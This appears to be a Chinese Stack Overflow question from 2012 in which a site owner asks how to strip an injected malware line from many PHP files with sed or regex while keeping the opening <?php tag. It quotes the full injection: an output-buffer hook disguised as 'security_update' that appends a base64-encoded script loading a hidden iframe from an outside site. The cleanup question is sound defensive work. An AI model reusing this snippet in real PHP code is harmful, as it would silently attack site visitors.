【发布时间】:2012-10-14 00:57:27
【问题描述】:
我正在尝试对所有 .php 文件进行大规模搜索并替换以下字符串以进行恶意软件清理:
<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vd3d3Lml3cy1sZWlwemlnLmRlL2NvbnRhY3RzLnBocCI+PC9pZnJhbWU+PC9kaXY+Jyk7PC9zY3JpcHQ+');}
我可以通过sed '/buffer.base64_decode/d' file.php 删除整行。不过我还是需要开<?php
所以真正需要做的是用<?php 搜索和替换buffer.base64_decode,在这台邪恶的电脑前度过漫长的一天后,我的大脑全是土豆泥。
或者,也许我认为自己进入了一个小盒子,而这一切都错了?
【问题讨论】:
-
如果同一行没有结束 ?> 标记,删除
标签: regex linux perl sed replace